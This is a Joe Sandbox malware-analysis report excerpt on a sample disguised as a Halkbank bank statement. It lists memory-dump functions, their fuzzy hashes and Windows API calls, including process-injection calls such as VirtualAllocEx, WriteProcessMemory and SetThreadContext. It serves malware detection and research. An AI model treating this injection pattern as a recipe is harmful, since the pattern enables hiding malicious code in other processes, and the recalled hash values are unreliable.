Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: e089906f78957144388c59078e20413c24a23bef55726012c8579d57ca04ada9
Instruction ID: 7fd6f61f87fbe8ea6cfc3d5400ced693f76212c9a0b32e5fd520d23f6f77ca06
Opcode Fuzzy Hash: e089906f78957144388c59078e20413c24a23bef55726012c8579d57ca04ada9
Instruction Fuzzy Hash: 4C5155B1D01319CFDB14CFA9D548B9EBFF1BB48308F24849AE409A72A0D7745984CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0255D468 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0255D4E6
GetCurrentThread.KERNEL32 ref: 0255D523
GetCurrentProcess.KERNEL32 ref: 0255D560
GetCurrentThreadId.KERNEL32 ref: 0255D5B9

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 438f299c5760d015e037a3cbfcaf0d01ed5e918231a45d29c8474f82422cecfb
Instruction ID: f044c1ae7bd8b1ab3c62c2d02cfbb0cbd53ee3defb14dcfaa45a2de665cc5dbb
Opcode Fuzzy Hash: 438f299c5760d015e037a3cbfcaf0d01ed5e918231a45d29c8474f82422cecfb
Instruction Fuzzy Hash: DF5136B1D01319CFDB14DFA9D548B9EBBF1FB48318F208459E409A73A0D7749984CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02700D84 Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02700FC6

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1982d7081d7f3d4b075213df36d142c79ab544c1904804640bfa85cba896bb7b
Instruction ID: 838c6c1b88b0b5853801f8fdd688e75cecdbe72ac265af4580982f8df54197c2
Opcode Fuzzy Hash: 1982d7081d7f3d4b075213df36d142c79ab544c1904804640bfa85cba896bb7b
Instruction Fuzzy Hash: FFA14B71D00259CFDB24DF68C881BEEBBF2BF45314F1485A9D849A7280DB74A989CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02700D90 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02700FC6

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 10408097921c4fa07163733187250e1fe104008025f91fbc2bc485bf8164d165
Instruction ID: bd1a16d8f8c47f86f0296487e83196f3e0e9e159b11c79ed17c204b15bcbd114
Opcode Fuzzy Hash: 10408097921c4fa07163733187250e1fe104008025f91fbc2bc485bf8164d165
Instruction Fuzzy Hash: 4C912A71D00259CFDB24DF68C881BDEBBF2BF45314F148569D849A7280DB74A989CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0255ADC8 Relevance: 1.7, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0255B01E

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a573d6cebef9f0a720c471b05378c517001f61a636dda72d739366e667ac0bbf
Instruction ID: 3eaac7b3130b8ea875261785cde9c5d56ddae7673255e9fd177837c8158431b6
Opcode Fuzzy Hash: a573d6cebef9f0a720c471b05378c517001f61a636dda72d739366e667ac0bbf
Instruction Fuzzy Hash: F6813770A00B158FDB24DF69D06475ABBF2FF88304F008A2ED88AD7A50D775E949CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0255590D Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 025559C9

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: caf3648a72726ca9ae34e4e7848ab02e90942a505a2634453ffeaa8b5d13ba19
Instruction ID: 3f542ce433a2ee110e5bda42fd45fe7f4352608394fd8d328552f6d6cd6e27df
Opcode Fuzzy Hash: caf3648a72726ca9ae34e4e7848ab02e90942a505a2634453ffeaa8b5d13ba19
Instruction Fuzzy Hash: 7441E3B0C00629CBDB24CFA9C8847DDBBB5BF45304F60806AD409AB251DB756949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 025544D4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 025559C9

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8a81fe1b118907942e7d059d482ed29f916a80915a9aa51b03b7a5dfe6e263aa
Instruction ID: c219fa788554be2852e8cee5b94c783908b4759faad0ebde7c27b58868b3ca69
Opcode Fuzzy Hash: 8a81fe1b118907942e7d059d482ed29f916a80915a9aa51b03b7a5dfe6e263aa
Instruction Fuzzy Hash: F641B3B0D0062DCBDB24DFA9C88479DBBB5BF45304F60806AD409AB251DB756949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02555A84 Relevance: 1.6, APIs: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6eec5bd3fc62dc193a70517c9caadb4a313016afd451f30ba264ba0e5e04715
Instruction ID: 150feda3f578adb47387572444aa602ce188bab7ecba6bd1749ca2da865366bf
Opcode Fuzzy Hash: c6eec5bd3fc62dc193a70517c9caadb4a313016afd451f30ba264ba0e5e04715
Instruction Fuzzy Hash: 0E31BEB1C04769CEDB11CFA8C4647EDBFF1BF46318F94408AD801AB251E779694ACB45

Uniqueness

Uniqueness Score: -1.00%

Function 02700B00 Relevance: 1.6, APIs: 1, Instructions: 75
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02700B98

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ec50bc094ca3f22810b91b94d61205883232a740cb318c83b0c31edcb135b562
Instruction ID: 97fc8b2f52e08727c4b33be6069d26de100ef78f6308d4ae5b47883e28a0b2ca
Opcode Fuzzy Hash: ec50bc094ca3f22810b91b94d61205883232a740cb318c83b0c31edcb135b562
Instruction Fuzzy Hash: 94216875D003099FCB10CFA9C985BDEBBF4FF88324F10842AE919A3240D7789945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02700B08 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02700B98

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9fabf2353d51c443d2260379b9cee3ea1b9755e24cab04d5a8d37c72f1d76ead
Instruction ID: 91aa9ac40dee847ddd593ee30e7affc5f194ad6516fa423fbd83c857a8a03b6a
Opcode Fuzzy Hash: 9fabf2353d51c443d2260379b9cee3ea1b9755e24cab04d5a8d37c72f1d76ead
Instruction Fuzzy Hash: F42124B5D003099FCB10CFA9C885BDEBBF5FF88324F10842AE919A7240D7789955CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02700969 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 027009EE

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 98102e0a7388b8d11ee0107a34956d9554f5bdcb309ebd7f3c3c77c534c7331e
Instruction ID: 72dbed7579af2cb6957de12bc24920059ec073cc33084df3bee1ea2c1fafea3d
Opcode Fuzzy Hash: 98102e0a7388b8d11ee0107a34956d9554f5bdcb309ebd7f3c3c77c534c7331e
Instruction Fuzzy Hash: 122128B5D002498FDB10DFAAC4857EEBBF4AF88324F148429D559A7241CB78A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02700BF0 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02700C78

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: b0bfd260a29e4ca13e1aafb36dd108320ddfd68d1b365842c5e479e9d16501f1
Instruction ID: 40ab6ca72052101fede7c45983bfd350421e4d0ee387cd7714d1a21c973a9228
Opcode Fuzzy Hash: b0bfd260a29e4ca13e1aafb36dd108320ddfd68d1b365842c5e479e9d16501f1
Instruction Fuzzy Hash: 4B2148B1D012499FCB10CFA9C985BEEBFF5FF88320F10842AE959A7250C7349945DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02700BF8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02700C78

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 3200fa905d4da7597af37a5fbdeec786d7aee4db30179229eefed15bba2f18c0
Instruction ID: b3d2f879a6f526a823ef4c6a2a19ae50b7fa8ed4b93a3514da535c36a4730054
Opcode Fuzzy Hash: 3200fa905d4da7597af37a5fbdeec786d7aee4db30179229eefed15bba2f18c0
Instruction Fuzzy Hash: F12128B1D003499FCB10DFAAC885ADEFBF5FF88320F108429E519A7250C7349945DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02700970 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 027009EE

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 352153855f43baa7fec0ae83079ab509c3ddedf7b2472136fed0098189edad1c
Instruction ID: 612db2b36cea147f05e9ee225e7a6bd713fec65356ce6da1fe9234816d932bbb
Opcode Fuzzy Hash: 352153855f43baa7fec0ae83079ab509c3ddedf7b2472136fed0098189edad1c
Instruction Fuzzy Hash: A82107B1D102098FDB10DFAAC4857AEBBF4EB88324F148429D559A7241C7789945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0255D6B0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0255D737

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a8620065c4fdc9ec9649cb6c3d6117378f12440e73a4e58b24975324262ef89e
Instruction ID: c0f791d113e5667ff3e07050cdde66143432b41d0a9bc00b59de63626332fa0c
Opcode Fuzzy Hash: a8620065c4fdc9ec9649cb6c3d6117378f12440e73a4e58b24975324262ef89e
Instruction Fuzzy Hash: 5421E0B5D01259DFDB10CFAAD984ADEBBF8FB48310F14801AE918A3310C374AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0255D6A8 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0255D737

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 36372fbc5369db5ee393ea3e672b30aec5809e94e433298f4226ece857ad33f2
Instruction ID: d9085e3aafc98c41928fb3ee115116d5d907974dca1397567bb2d56893da3d15
Opcode Fuzzy Hash: 36372fbc5369db5ee393ea3e672b30aec5809e94e433298f4226ece857ad33f2
Instruction Fuzzy Hash: 4C21F2B5D00249DFDB00CFA9D584AEEBFF5FB48310F14801AE958A3210C378AA41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 02700A41 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02700AB6

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 498caa7973dc0b71677ed7586ff19b5696a3f52930f1a30061ed523889bf05ad
Instruction ID: bed5bd67cc57b4e0ddfdb3d0fd9e70f01d8d322892f841f696e4b8c2c6e68c9d
Opcode Fuzzy Hash: 498caa7973dc0b71677ed7586ff19b5696a3f52930f1a30061ed523889bf05ad
Instruction Fuzzy Hash: 12118971D002499FCB10DFAAC845BDFBFF5EF88324F248419E519A7250CB35A945DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0255B238 Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0255B099,00000800,00000000,00000000), ref: 0255B2AA

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d9f63b2b75c09a258c1c0e860d6dcb39d769f7b10c9181c4a535955b4c1b9ebb
Instruction ID: bf8595cd14b099290125f210ae9755a5ad6c51016dbaed38889cc5a58408864b
Opcode Fuzzy Hash: d9f63b2b75c09a258c1c0e860d6dcb39d769f7b10c9181c4a535955b4c1b9ebb
Instruction Fuzzy Hash: 1E2124B6D003498FDB14CF9AD448AEEBFF4BB48314F14801AD869A7600C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0255A168 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0255B099,00000800,00000000,00000000), ref: 0255B2AA

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a803a64f39315d01d447c9e9a3fa383697bf377258e0e384bebc83c843b7fb6c
Instruction ID: e1eddc0d89d2cc93641925ffe4142c17902c0ff6a94570c1e767583d368b4706
Opcode Fuzzy Hash: a803a64f39315d01d447c9e9a3fa383697bf377258e0e384bebc83c843b7fb6c
Instruction Fuzzy Hash: C91114B6D003199FCB10CF9AD448ADEFBF4FB88314F14842AE819A7600C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 027008B9 Relevance: 1.6, APIs: 1, Instructions: 54threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 02700922

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: cfe5dcdab4503542b33388b0eec692526bb5828d2ef9f5cb08ba26da516b1aa5
Instruction ID: 8a6137f43cddc89ce0ccc14b2d921b19341b12b8fe8745f44a3dbef22d172bce
Opcode Fuzzy Hash: cfe5dcdab4503542b33388b0eec692526bb5828d2ef9f5cb08ba26da516b1aa5
Instruction Fuzzy Hash: 721143B5D003498BDB20DFAAD4457EFFBF8AB88324F20841AD459A7240CB35A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02700A48 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02700AB6

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 25ad98b10db42cc92efdd589213a965097db31ee165d5809d1236b044dc101b5
Instruction ID: d85625264ead0e62e125f458ef8b180a220d81167d9163c4b619fd6751acd844
Opcode Fuzzy Hash: 25ad98b10db42cc92efdd589213a965097db31ee165d5809d1236b044dc101b5
Instruction Fuzzy Hash: 541123B6D002499FCB10DFAAC845ADFBFF5EB88324F248419E519A7250CB75A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02705171 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 027051D0

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f68fec016996bab61e849e414155b8e1cc7872ea6b5c934684a6c22ef7d3b935
Instruction ID: 3c21ec78fc9463e101b6f542631aeb53783061b79e1aaf6efe462d6048ad3d98
Opcode Fuzzy Hash: f68fec016996bab61e849e414155b8e1cc7872ea6b5c934684a6c22ef7d3b935
Instruction Fuzzy Hash: C61113B5C002498FCB20DF99D589BDEBBF4EB48324F148459D968A7340C738AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 027033F8 Relevance: 1.5, APIs: 1, Instructions: 49windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0270345D

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 42dc05487baa7b34e8362b7045c06d52a2fd21a6f4a861a68fe11facdda31d54
Instruction ID: 6ada57570750b82a67b4870930d38d27234b224629f183356af376792b17e5b0
Opcode Fuzzy Hash: 42dc05487baa7b34e8362b7045c06d52a2fd21a6f4a861a68fe11facdda31d54
Instruction Fuzzy Hash: CF1113B5800249DFCB10CF99D985BEEBFF8EB48310F10845AE559A7210C375A584CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 027008C0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 02700922

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0ecf50072cbec96ab5c0786d67a4081d67f88526140d9fe19e3f4fd7f9e8a873
Instruction ID: 5b0c3b4591055796c92c08d3b9f0c15121fcd0680187f74e94e204ddb6537e20
Opcode Fuzzy Hash: 0ecf50072cbec96ab5c0786d67a4081d67f88526140d9fe19e3f4fd7f9e8a873
Instruction Fuzzy Hash: EF1125B5D003498BDB20DFAAD4457AFFBF4EB88324F248419D419A7240CB75A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02705178 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 027051D0

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b3f75cd8c4d745249069f6c97e042b102c7f5ce98d60ea5a2b1c7d7bfaee20e2
Instruction ID: dd790aafe0cb729796240bf206b35b2666ae7ffc3a40e01f353ea8eaf913efd1
Opcode Fuzzy Hash: b3f75cd8c4d745249069f6c97e042b102c7f5ce98d60ea5a2b1c7d7bfaee20e2
Instruction Fuzzy Hash: BD11F2B5C00249CFCB10DF9AD585BDEBBF4EB48324F25845AD968A7240D338AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02702D78 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0270345D

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 50cff52523c46baffe2b77115423e06ec8eaada6e9f13a008ed854379bb1e233
Instruction ID: b0a129454d52b64f7469c46287b704d4922e1af91fd29fe543a3fb83d5249267
Opcode Fuzzy Hash: 50cff52523c46baffe2b77115423e06ec8eaada6e9f13a008ed854379bb1e233
Instruction Fuzzy Hash: 7C11F5B5900349DFCB10DF99D884BEEBBF8EB48314F10845AE959A7240C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0255AFB8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0255B01E

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ce4ca548fcab42913faf78d86a1d92e2f49c7e0e9de2de572340c456520c235c
Instruction ID: f98fbf2f2e654924a4cd3b47a522d897cc14f6fe7b742902ced6a0c98c2e7dea
Opcode Fuzzy Hash: ce4ca548fcab42913faf78d86a1d92e2f49c7e0e9de2de572340c456520c235c
Instruction Fuzzy Hash: 1C11DFB5C002598FCB14CF9AD448ADEFBF4FF88218F14845AD829A7210D375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06D48ED8 Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06D49E51

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: b6ad9533fd7da398b57e6f94f467321e0691642f1e989ffeb387a8d8d24c1790
Instruction ID: ac5860b090ead8bd172b67148cdd47756454968a59f8aac4ca3008662359d792
Opcode Fuzzy Hash: b6ad9533fd7da398b57e6f94f467321e0691642f1e989ffeb387a8d8d24c1790
Instruction Fuzzy Hash: 0B51D171B002068FCB45EF7A98A89AFBBF6FFC52107158969E455DB391EB309D018790

Uniqueness

Uniqueness Score: -1.00%

Function 06D49C10 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

Te]q, xrefs: 06D49C7B

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 94cd5a8399f264ab84c512c88ff8bebca3c30c24d33c023d9d986d3631526718
Instruction ID: aefe663d3c2e8e35627e32e8ee5c40a4effbbbd3a1a56861ca339f50166f3724
Opcode Fuzzy Hash: 94cd5a8399f264ab84c512c88ff8bebca3c30c24d33c023d9d986d3631526718
Instruction Fuzzy Hash: 11112E71F0021A8BCB54EFB998505EFBBF6ABC4711B204579C505EB344EB358D02CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06D4C4F0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8857a8a4d7e8f0b5ebd6d3afa928bc4c4974fba1ca56fa0888c1879998bc3acb
Instruction ID: b437aa34086c8f4b50b36077a4060a47f37895452ceec4d08adeceef9bad478f
Opcode Fuzzy Hash: 8857a8a4d7e8f0b5ebd6d3afa928bc4c4974fba1ca56fa0888c1879998bc3acb
